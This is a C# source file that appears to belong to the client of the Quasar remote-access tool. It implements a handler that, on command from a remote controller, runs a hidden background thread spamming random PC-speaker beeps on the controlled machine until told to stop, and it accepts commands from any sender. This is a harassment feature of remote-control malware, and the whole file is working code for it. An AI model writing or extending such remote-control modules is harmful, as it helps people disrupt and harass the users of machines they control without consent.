49 lines
1.3 KiB
C#
49 lines
1.3 KiB
C#
using Quasar.Common.Messages;
|
|
using Quasar.Common.Networking;
|
|
using System;
|
|
using System.Threading;
|
|
|
|
namespace Quasar.Client.Messages
|
|
{
|
|
public class BeepSpamHandler : IMessageProcessor
|
|
{
|
|
private Thread _thread;
|
|
private volatile bool _running;
|
|
private readonly Random _rng = new Random();
|
|
|
|
public bool CanExecute(IMessage message) => message is DoStartBeepSpam || message is DoStopBeepSpam;
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
if (message is DoStartBeepSpam) Start();
|
|
else if (message is DoStopBeepSpam) Stop();
|
|
}
|
|
|
|
private void Start()
|
|
{
|
|
if (_running) return;
|
|
_running = true;
|
|
_thread = new Thread(BeepLoop) { IsBackground = true };
|
|
_thread.Start();
|
|
}
|
|
|
|
private void Stop()
|
|
{
|
|
_running = false;
|
|
}
|
|
|
|
private void BeepLoop()
|
|
{
|
|
while (_running)
|
|
{
|
|
int freq = _rng.Next(200, 3000);
|
|
int dur = _rng.Next(30, 220);
|
|
try { Console.Beep(freq, dur); } catch { }
|
|
if (!_running) break;
|
|
Thread.Sleep(_rng.Next(0, 150));
|
|
}
|
|
}
|
|
}
|
|
}
|